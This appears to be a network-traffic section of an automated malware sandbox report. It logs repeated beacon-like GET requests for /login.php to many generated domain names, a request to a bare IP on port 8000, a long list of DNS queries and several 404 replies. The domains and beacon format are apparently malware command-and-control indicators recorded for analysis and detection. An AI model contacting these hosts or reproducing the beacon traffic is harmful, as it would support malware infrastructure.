Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478890781963739088
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygynud.comCookie: snkz=66.23.206.109; btst=1e822420cb8d3f7ff6bc20592f4b28e8|66.23.206.109|1731345185|1731345185|0|1|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comCookie: snkz=66.23.206.109; btst=e5cea2794c01fe0d297510f888cbb928|66.23.206.109|1731345186|1731345186|0|1|0
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_343064.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficDNS traffic detected: DNS query: galykes.com
Source: global trafficDNS traffic detected: DNS query: gahyhob.com
Source: global trafficDNS traffic detected: DNS query: puvytuq.com
Source: global trafficDNS traffic detected: DNS query: lyryvex.com
Source: global trafficDNS traffic detected: DNS query: gahyqah.com
Source: global trafficDNS traffic detected: DNS query: pumypog.com
Source: global trafficDNS traffic detected: DNS query: qedynul.com
Source: global trafficDNS traffic detected: DNS query: volykyc.com
Source: global trafficDNS traffic detected: DNS query: lymysan.com
Source: global trafficDNS traffic detected: DNS query: gadyniw.com
Source: global trafficDNS traffic detected: DNS query: qeqysag.com
Source: global trafficDNS traffic detected: DNS query: vofymik.com
Source: global trafficDNS traffic detected: DNS query: lyxylux.com
Source: global trafficDNS traffic detected: DNS query: gaqydeb.com
Source: global trafficDNS traffic detected: DNS query: qexylup.com
Source: global trafficDNS traffic detected: DNS query: lysynur.com
Source: global trafficDNS traffic detected: DNS query: vowydef.com
Source: global trafficDNS traffic detected: DNS query: vonypom.com
Source: global trafficDNS traffic detected: DNS query: lygymoj.com
Source: global trafficDNS traffic detected: DNS query: gacyzuz.com
Source: global trafficDNS traffic detected: DNS query: purydyv.com
Source: global trafficDNS traffic detected: DNS query: qegyqaq.com
Source: global trafficDNS traffic detected: DNS query: vocyzit.com
Source: global trafficDNS traffic detected: DNS query: lyvyxor.com
Source: global trafficDNS traffic detected: DNS query: lyryfyd.com
Source: global trafficDNS traffic detected: DNS query: purycap.com
Source: global trafficDNS traffic detected: DNS query: gatyfus.com
Source: global trafficDNS traffic detected: DNS query: puvyxil.com
Source: global trafficDNS traffic detected: DNS query: qekykev.com
Source: global trafficDNS traffic detected: DNS query: pupybul.com
Source: global trafficDNS traffic detected: DNS query: ganypih.com
Source: global trafficDNS traffic detected: DNS query: vopybyt.com
Source: global trafficDNS traffic detected: DNS query: lykyjad.com
Source: global trafficDNS traffic detected: DNS query: qetyfuv.com
Source: global trafficDNS traffic detected: DNS query: qebytiq.com
Source: global trafficDNS traffic detected: DNS query: vojyjof.com
Source: global trafficDNS traffic detected: DNS query: gatyvyz.com
Source: global trafficDNS traffic detected: DNS query: qetyvep.com
Source: global trafficDNS traffic detected: DNS query: lyvytuj.com
Source: global trafficDNS traffic detected: DNS query: vojyqem.com
Source: global trafficDNS traffic detected: DNS query: gacyryw.com
Source: global trafficDNS traffic detected: DNS query: qeqyxov.com
Source: global trafficDNS traffic detected: DNS query: pufygug.com
Source: global trafficDNS traffic detected: DNS query: lygygin.com
Source: global trafficDNS traffic detected: DNS query: pujyjav.com
Source: global trafficDNS traffic detected: DNS query: vowycac.com
Source: global trafficDNS traffic detected: DNS query: qexyryl.com
Source: global trafficDNS traffic detected: DNS query: gaqycos.com
Source: global trafficDNS traffic detected: DNS query: qegyhig.com
Source: global trafficDNS traffic detected: DNS query: vocyruk.com
Source: global trafficDNS traffic detected: DNS query: lyxywer.com
Source: global trafficDNS traffic detected: DNS query: puzylyp.com
Source: global trafficDNS traffic detected: DNS query: pufymoq.com
Source: global trafficDNS traffic detected: DNS query: vofygum.com
Source: global trafficDNS traffic detected: DNS query: vonyzuf.com
Source: global trafficDNS traffic detected: DNS query: lysyfyj.com
Source: global trafficDNS traffic detected: DNS query: pumyxiv.com
Source: global trafficDNS traffic detected: DNS query: volyqat.com
Source: global trafficDNS traffic detected: DNS query: galyqaz.com
Source: global trafficDNS traffic detected: DNS query: qekyqop.com
Source: global trafficDNS traffic detected: DNS query: qedyfyq.com
Source: global trafficDNS traffic detected: DNS query: gadyfuh.com
Source: global trafficDNS traffic detected: DNS query: puzywel.com
Source: global trafficDNS traffic detected: DNS query: lymyxid.com
Source: global trafficDNS traffic detected: DNS query: pupydeq.com
Source: global trafficDNS traffic detected: DNS query: ganyzub.com
Source: global trafficDNS traffic detected: DNS query: lykymox.com
Source: global trafficDNS traffic detected: DNS query: pujymip.com
Source: global trafficDNS traffic detected: DNS query: qebylug.com
Source: global trafficDNS traffic detected: DNS query: vopydek.com
Source: global trafficDNS traffic detected: DNS query: gatydaw.com
Source: global trafficDNS traffic detected: DNS query: vojymic.com
Source: global trafficDNS traffic detected: DNS query: gahynus.com
Source: global trafficDNS traffic detected: DNS query: puvylyg.com
Source: global trafficDNS traffic detected: DNS query: vowypit.com
Source: global trafficDNS traffic detected: DNS query: qegynuv.com
Source: global trafficDNS traffic detected: DNS query: pufybyv.com
Source: global trafficDNS traffic detected: DNS query: lygynud.com
Source: global trafficDNS traffic detected: DNS query: gacykeh.com
Source: global trafficDNS traffic detected: DNS query: purypol.com
Source: global trafficDNS traffic detected: DNS query: qetysal.com
Source: global trafficDNS traffic detected: DNS query: lyrysor.com
Source: global trafficDNS traffic detected: DNS query: vocykem.com
Source: global trafficDNS traffic detected: DNS query: volymum.com
Source: global trafficDNS traffic detected: DNS query: lymylyr.com
Source: global trafficDNS traffic detected: DNS query: gadydas.com
Source: global trafficDNS traffic detected: DNS query: puzymig.com
Source: global trafficDNS traffic detected: DNS query: qeqylyl.com
Source: global trafficDNS traffic detected: DNS query: lyxymin.com
Source: global trafficDNS traffic detected: DNS query: gaqyzuw.com
Source: global trafficDNS traffic detected: DNS query: vofydac.com
Source: global trafficDNS traffic detected: DNS query: vowyzuk.com
Source: global trafficDNS traffic detected: DNS query: lygyfex.com
Source: global trafficDNS traffic detected: DNS query: gacyqob.com
Source: global trafficDNS traffic detected: DNS query: puryxuq.com
Source: global trafficDNS traffic detected: DNS query: qegyfyp.com
Source: global trafficDNS traffic detected: DNS query: vocyqaf.com
Source: global trafficDNS traffic detected: DNS query: lyryxij.com
Source: global trafficDNS traffic detected: DNS query: gahyfyz.com
Source: global trafficDNS traffic detected: DNS query: puvywav.com
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FDDu%2FsrzGXWHHKKGVBYI2S6m%2Fzoka67dQJ89SciC3%2Bxio3CC9HtqhehLr0I7ENnEt7K7yDM7sepmi25Jlg5PC30Kw5jCglsLlG5BeOwwF3nQ2jJYN8uxXoMdbKrpvw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe91d8fe55e61-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1279&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2238021&cwnd=244&unsent_bytes=0&cid=2b60c149bad0ee63&ts=943&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BI6BsDE4j6UOAr484GISj1CgSyucJ%2FFwlk%2BQ9KGIBH93dgwZb5U2Ry3qQwciQvPFZAzPlK%2BVCFMP0H%2BwlYWq0cLRqZI9GxRDQClQkf5QYZenGIH33h5M1Be4MxC%2BXw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe927b92f5590-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1138&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2195602&cwnd=250&unsent_bytes=0&cid=b9e9f4a62d052aba&ts=876&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="57.6",amp_style_sanitizer;dur="24.5",amp_tag_and_attribute_sanitizer;dur="26.8",amp_optimizer;dur="24.6"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ucylzZkDHjuy5%2FhNaZ6Y2Glc6ThAgjJBg0bsoarZbtCCcEKPa1vPwTSYd3kUNHfaXP7Xz3Ra8EZ8WK%2BC3tVRPcDMHsUI3Wti%2FbZM38KY%2B6haEAMaCIIaujl3GOIBgg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe9374e20eb7f-SEAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=60390&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=47939&cwnd=32&unsent_bytes=0&cid=cd3b4c6f53ab7a2b&ts=1740&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="163.0",amp_style_sanitizer;dur="96.1",amp_tag_and_attribute_sanitizer;dur="52.7",amp_optimizer;dur="50.0"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjYob1fC0Ti83h2e1HNsSkdt0G%2FzptS9nuUYCs1%2FlUO%2F%2B0o6FuYZI9ql28qeoFMtzHvPGk7%2F9H0oYcXSMLlSwdWnXT0EC%2F0%2FD9uhxEJeX1cywuudg%2FlrCKFeT5yMDg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe94729590f42-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1329&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2234567&cwnd=251&unsent_bytes=0&cid=5cece37b9fce5940&ts=2681&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QvpImHCud93VN07eo%2Fg3C8Y2bLsLwbz3ajSz%2Fq9w%2FonNmY%2FQub5UF5wBsmhxE6qFFnGlBrgjo3%2BCkDEHS8ibuMfO%2FbzvSUvG%2BGSWzfpYELI7zQ8I9GcvTygCGjj%2BrA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe9b118750f3d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1204&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2569653&cwnd=247&unsent_bytes=0&cid=7bcaf66820f6c30d&ts=845&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gKlsR995DzG5lUgNDN%2B8RMuWE4k5DSE0%2FlC2pJe2wazBm4c8FVZRP0RrmsYYdCFEWFnmHUyzmzjbD4KZXNzzhRAWRk4gTlO8XpyXuQ8tUWQ6hDamt5GyzG8xkj06bQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe9bbab36a2af-YULalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=11807&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=245215&cwnd=32&unsent_bytes=0&cid=fa2a4285b92977dd&ts=1318&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="48.9",amp_style_sanitizer;dur="21.9",amp_tag_and_attribute_sanitizer;dur="20.8",amp_optimizer;dur="23.6"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2bCc39d1Mt%2BpiwYAxEUM7BMb4FcwLsdFhAgMByRiwFC%2Bvk4MNUIPv9%2B5du1pJQR3574nSY14Z7%2FOmRZ7Ibu47H0mtdowYxVj2dKafznL6hI%2FHuV2QF%2BX9zKc7GuUg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe9cd1e218099-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=154798&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=18726&cwnd=32&unsent_bytes=0&cid=790987abbe807eb3&ts=1691&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="41.6",amp_style_sanitizer;dur="16.6",amp_tag_and_attribute_sanitizer;dur="19.0",amp_optimizer;dur="23.0"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BtLlicqq7lwrcabfKo41kf1arEExdlQf0CCUzJJJCa1NYQzQ3I9zQTU3Nxa8FFv4wLTukG5zPhEhmpSodxeuIaTC4NxUBhFE0L3RpV%2Flt2x%2BvjuzLBqtg3NmsHORaQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fe9db09718c6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1457&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=1983561&cwnd=250&unsent_bytes=0&cid=2cd5e7095c09ced0&ts=2640&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:13:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CbZyqIewK0BXTil6DYd6vHzigsUrto13tlOGyHMuE1a7PUCQuWg1%2BaQiVM6aUUzL%2B%2BwNl9Ro6gU4Hd6Ma1439se%2BidLwh%2B%2BA3SCQlUdVwaNLi9N%2FRFOzAQc7pCIhg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fea03ce1318d0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1281&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2229407&cwnd=247&unsent_bytes=0&cid=d725e913d631f272&ts=1633&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:14:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L9quUcSnzFdcUmfd2mbO63LzbjtdwP%2FA%2BNFIUy53owkibGaTEiYWGwWpW1wmV5i%2BLjQfUlzFIuRXTIGMEtgm7ZHPHx%2Bh3%2FiLHwVuf6iJKK%2FzhE2n4v6PKFswIyMjQg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0febd8e9074207-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1334&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2212375&cwnd=251&unsent_bytes=0&cid=b4829b0539e980e1&ts=960&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:15:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="98.7",amp_style_sanitizer;dur="39.3",amp_tag_and_attribute_sanitizer;dur="53.1",amp_optimizer;dur="43.4"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IgXC5%2FgmcNKoz3cZ%2Fxruf1nNNG0vczf2IMFmqMdUrBuwMsf0ojHasIJTLGDCbfzyHH%2BVCSuthV9BI9eaXthLmOnsyu3TYPd3n%2BjLzk7UTwu2IQFjlsrNtPO8WDFSoQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e0fec04eba94401-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1798&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=1597352&cwnd=251&unsent_bytes=0&cid=5258a3b7d38dbd6c&ts=3137&x=0"
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:01 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
